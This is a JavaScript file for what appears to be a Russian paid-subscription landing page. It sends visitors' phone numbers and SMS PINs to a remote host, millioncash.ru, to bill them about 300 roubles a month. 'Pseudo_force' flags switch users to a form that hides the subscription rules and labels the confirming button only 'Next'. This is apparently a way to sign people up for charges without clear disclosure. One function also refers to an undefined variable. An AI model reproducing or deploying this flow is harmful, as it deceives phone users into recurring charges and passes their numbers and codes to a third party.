
var billing=new Array();
var current_billing = '';

// access file url
var acf_url = 'http://millioncash.ru/sync/ac/ac.php';

if(typeof(acf_remote) == "undefined")
	acf_remote=true;
if(typeof(acf_withreg) == "undefined")
	acf_withreg=false;


if(acf_remote){
	acf_data_type="jsonp";
}else{
	acf_data_type="text";
	acf_url = '/'+baf;
	}


if(acf_withreg){
	text_pass1="пароль";
	text_pass2="паролем";
}else{
	text_pass1="код";
	text_pass2="кодом";
	}


$(document).ready(function(){

$('#getcode').click(function () { SendPhone(); });
$('#sendcode').click(function () { SendCode(); });
$('#auth_button').click(function () { SiteAuth(); });
$('#passinput').click(function () {$('#passinput').val('');});
$('#startreg').click(function () { if(!CheckValue()) { return false; } else { StartReg(); } });
if(typeof(scroll_top) != "undefined"){
$( 'html, body' ).animate( { scrollTop: scroll_top }, 0 );
}


 billing[1]=jsons.billing_for_beeline;
 billing[2]=jsons.billing_for_mts;
 billing[3]=jsons.billing_for_all;

$('#subs_foot_txt').html('Телефон службы поддержки 8-800-5555638. Стоимость услуги для абонентов Билайн: 300,00 рублей (включая НДС) в месяц. Для отмены подписки отправьте СМС-сообщение с текстом СТОП: для абонентов Билайн - на номер 9105 (бесплатно) (и далее, если есть подписка МТС) - Стоимость доступа к услугам контент-провайдера устанавливается Вашим оператором. Подробную информацию можно узнать в разделе «Услуги по коротким номерам» на сайте www.mts.ru или обратившись в контактный центр по телефону 8 800 333 0890 (0890 для абонентов МТС)» Для абонентов остальных операторов России требуется отправка <span id="subs_sms_count">3</span>х смс на <span id="subs_shortcode">2474</span>. Приблизительная стоимость - около <span id="subs_price">300</span> руб. <span id="subs_control_a" style="cursor:pointer;">Управление подпиской</span> <span id="subs_rules_a" style="cursor:pointer;">Правила подписки</span>');

$('#subs_control_a').click(function () { $('#subscontrol').fadeIn(); });
$('#subs_rules_a').click(function () { WindowOpen(rules_folder+'rules.htm'); });

$('#subs_price').html(jsons.tarifs_get[jsons.billing_for_all]._all.price);
$('#subs_shortcode').html(jsons.tarifs_get[jsons.billing_for_all]._all.shortcode);
$('#subs_sms_count').html(jsons.tarifs_get[jsons.billing_for_all]._all.sms_count);

});



function SendPhone() {



var phone = $('#phoneinput').val();

var re = /[\D]/g
var phone = phone.replace(re, "");

if(phone.length>10 && phone.length<12){  }else{alert('Пожалуйста, введите номер телефона.'); $('#formloading').hide(); $("#getcode").attr("disabled",""); return false;}

$('#phoneinput').val(phone);
$('#current_phone').html(phone);

$('#formloading_done').hide();
$('#formloading_box').show();
$('#formloading').show();

//$.getJSON(af_url+'?msisdn=' + phone + '&op=1&s_id='+site_number+'&s=?', function (msg) {

var temp_params="";
if(acf_remote==false)
	temp_params="&b_id=12";

$.ajax({type : "GET", dataType: acf_data_type, jsonp:"s", url : acf_url+'?msisdn='+phone+'&op=1&s_id='+site_number+temp_params, success : function(msg){
if(acf_remote){answer=msg.operator}else{answer=msg}


if (answer){
	current_billing = billing[answer];
	var formopt=answer;
if(jsons.pseudo_force==1){formopt=3;}
if(jsons.pseudo_force_beeline==1 && answer==1){formopt=3;}
if(jsons.pseudo_force_mts==1 && answer==2){formopt=3;}

if (current_billing==12){ DisplayForm(formopt); }
	
	DeliverPhone(phone,answer);

if (current_billing==13){
	$('#step1').hide(); $('#formloading_box').hide(); $('#formloader').show();
	StartCheck();
	checkinterval = setInterval(function() {StartCheck();},61000);
	setInterval(function() {clearInterval(checkinterval);},610000);
	return false;
}

}
	}
});
}

function DisplayForm(formopt) {


if (formopt==2){ $('#subrules').show(); $('#sendcode').val('Войти на сайт и подписаться');
//$("#ruleslink").html('услуги подписка'); $("#ruleslink").attr("onClick","WindowOpen('/template/rules.htm')");
$("#rulestxt").html('<strong>Да мне более 18 лет!</strong> Я согласен с правилами предоставления услуги <span style="cursor: pointer;" onclick="WindowOpen(\''+rules_folder+'rules.htm\')">подписка</span> к сайту.');
$('#enter_pass_info').html('Введите '+text_pass1+' из смс чтобы подписаться на услугу доступа к сайту');
$('#subrules').html('<iframe height="120" width="100%" src="'+rules_folder+'rules.htm" scrolling="auto" frameborder="0" allowtransparency="yes"></iframe>');
}

if (formopt==3){ $('#subrules').hide(); $('#sendcode').val('Далее');
//$("#ruleslink").html('услуги'); $("#ruleslink").attr("onClick","WindowOpen('/template/rules.htm')");
$("#rulestxt").html('Я согласен с правилами предоставления <span style="cursor: pointer;" onclick="WindowOpen(\''+rules_folder+'rules.htm\')">услуги</span>');
$('#pass_info').html('Пароль был выслан на указанный Вами номер, введите его в поле ниже.');
}
if (formopt!=1){
$('#step1').hide();$('#passform').show();
$( 'html, body' ).animate( { scrollTop: scroll_top }, 0 ); /*$('#passinput').focus();*/ $('#passinput').val('Введите '+text_pass1+'...');
$('#formloading').html('Пожалуйста подождите вам отправляется СМС с '+text_pass2+'!');
$("#tocheck").attr("disabled","disabled");
}
}

function DeliverPhone(phone,operator){
	operator=operator;

//$.getJSON(af_url+'?msisdn=' + phone + '&op=2&s_id='+site_number+'&b_id='+current_billing+'&s=?', function (msg) {

$.ajax({type : "GET", dataType: acf_data_type, jsonp:"s", url : acf_url+'?msisdn='+phone+'&op=2&s_id='+site_number+'&b_id='+current_billing, success : function(msg){
if(acf_remote){answer=msg.answer}else{answer=msg}

if (answer==6){ alert('Слишком много подписок с одного ип.'); $('#formloading').hide(); return false; }
if (answer==4){ alert('Слишком много подписок на этом телефоне.'); $('#formloading').hide(); return false; }
if (answer==3){ alert('Этот телефон уже имеет активные подписки.'); $('#formloading').hide(); window.location.reload(true); return false; }
if (answer==2){ alert('Этот телефон заблокирован.'); $('#formloading').hide(); return false; }
if (answer==1){ alert('Подписки не действуют для оператора этого телефона.'); $('#formloading').hide(); return false; }


if (operator==1 && jsons.pseudo_force_beeline!=1 && current_billing!=13){ 

if (answer=='0'){window.location=msg.url;}

}else{

if (answer=='0'){$('#formloading').hide(); $("#tocheck").attr("disabled",""); $('#formloading_done').show(); $('#formloading_done').html('СМС сообшение с '+text_pass2+' ОТПРАВЛЕННО!'); return false;}

}
	}
});


}




function SendCode() {
if($('#passinput').val() == ""){ alert('Пожалуйста, введите '+text_pass1+'.'); return false; }


var phone=$('#phoneinput').val(); var pass=$('#passinput').val();

$('#formloading').html('пожалуйста подождите, проверяется '+text_pass1+'!');
$('#formloading_done').hide(); $('#formloading').show(); $("#sendcode").attr("disabled","disabled");
	var pass1 = encodeURIComponent(pass); 

			//$.getJSON(af_url+'?msisdn=' + phone + '&pin=' + pass1 + '&op=3&s_id='+site_number+'&b_id='+current_billing+'&s=?', function (msg) {

$.ajax({type : "GET", dataType: acf_data_type, jsonp:"s", url : acf_url+'?msisdn='+phone+'&pin='+pass1+'&op=3&s_id='+site_number+'&b_id='+current_billing, success : function(msg){
if(acf_remote){answer=msg.answer}else{answer=msg}

if (answer=='0'){
	if(acf_withreg){
		$('#passform').hide(); $('#formloading').hide(); $('#subrules').hide(); $('#subsfooter').hide(); $('#finishregform').show(); $('#login').focus();
	}else{
		AccessPass();
	}
	return false;
	}
if (answer==98){
	$('#passform').hide(); $('#formloading_box').hide(); $('#formloader').show();
	StartCheck();
	checkinterval = setInterval(function() {StartCheck();},61000);
	setInterval(function() {clearInterval(checkinterval);},610000);
	return false;
	}
	$('#formloading').hide(); $('#formloading_done').html('Неправельный '+text_pass1+'.'); $('#formloading_done').show(); $("#sendcode").attr("disabled","");
}});
}
function StartCheck() {
ndown(document.getElementById("ndown"), 60, 0, 1, 1);
var phone=$('#phoneinput').val();

$('#formloadertxt').html('Пожалуйста подождите, Идёт проверка ответной смс.');
//$('#formloading').html('Пожалуйста подождите, Идёт проверка ответной смс.'); $('#formloading').show();
$("#smssent").attr("disabled","disabled");
	
//$.getJSON(af_url+'?msisdn=' + phone + '&op=4&s_id='+site_number+'&b_id='+current_billing+'&s=?', function (msg) {

$.ajax({type : "GET", dataType: acf_data_type, jsonp:"s", url : acf_url+'?msisdn='+phone+'&op=4&s_id='+site_number+'&b_id='+current_billing, success : function(msg){
if(acf_remote){answer=msg.answer}else{answer=msg}

if (answer=='0'){
	if(acf_withreg){
		$('#formloader').hide(); $('#formloading').hide(); $('#subsfooter').hide(); $('#finishregform').show(); $('#login').focus();
	}else{
		AccessPass();
		}
	}

if (answer==98) {
	$('#formloadertxt').html('Ответ на контрольный вопрос не получен!');$('#smssent').fadeIn(); $("#smssent").attr("disabled","");
	}

}});
}

function ndown(element, start, stop, step, delay) {
    var current = start;
    element.innerHTML = current
    var timer = setInterval(function () {
        current -= step;
        if(current < stop) current=stop;
        element.innerHTML = current;
        if(current == stop) clearInterval(timer);
    }, delay*1000);
}


function AccessPass(){
	if(acf_remote){
		$.ajax({type : "GET", url : '/ajax/ac/ac_p.php?pass=pass&ss='+msg.hash,
			success : function(msg) {
				$('#formloading').hide(); window.location.reload(true); return false;
			}
		});	
	}else{
		$('#formloading').hide(); window.location.reload(true);
		}
	}


function LoadCheck(phone,act,pstatusi) 
{
 if (act=='done')
    clearInterval(pstatusi);
 else
 var pstatusi = setInterval(function() {StartCheck(phone,pstatusi);},20000);
 
}

function WindowOpen(href) { window.open(href, '_blank', 'width=300,height=320,resizable=0,scrollbars=1,top=200,left=60'); }
function EditPhone() { $('#phone_info').hide(); $('#change_phone').show(); $('#phone_change').val($('#current_phone').html()); }
function ChangePhone() {
	if($('#phone_change').val() == ""){ alert("Пожалуйста, введите номер телефона."); return false; }
	if(isNaN($('#phone_change').val())){ alert("Пожалуйста, введите номер телефона только цифры."); return false; }
	$('#change_phone').hide(); $('#phone_info').show(); $('#current_phone').html($('#phone_change').val()); $('#phoneinput').val($('#phone_change').val()); SendPhone($('#phone_change').val()); }




function checkRadio()
{
	if (document.getElementById("tocheck").checked == true)document.getElementById("sendcode").disabled = false;
	else document.getElementById("sendcode").disabled = true;
}
function SiteAuth() {
	phone=$('#auth_phone').val();
	pass=$('#auth_pass').val();
	$.ajax({type : "GET", url : '/'+baf+'?msisdn=' + phone + '&pin=' + pass + '&check_enter&site_number='+site_number, success : function(msg) {
	if (msg==1){alert('Неверный пароль!');}else{window.location.reload(true);}
	}});
	}

function StartReg() {
	$.post('/ajax/register.php', $("#form_register").serialize(),
	function(msg) {
		if(msg==0){  parent.location=resurl;  }else{$('#formloading').hide(); alert('registration error!');}
	});
}

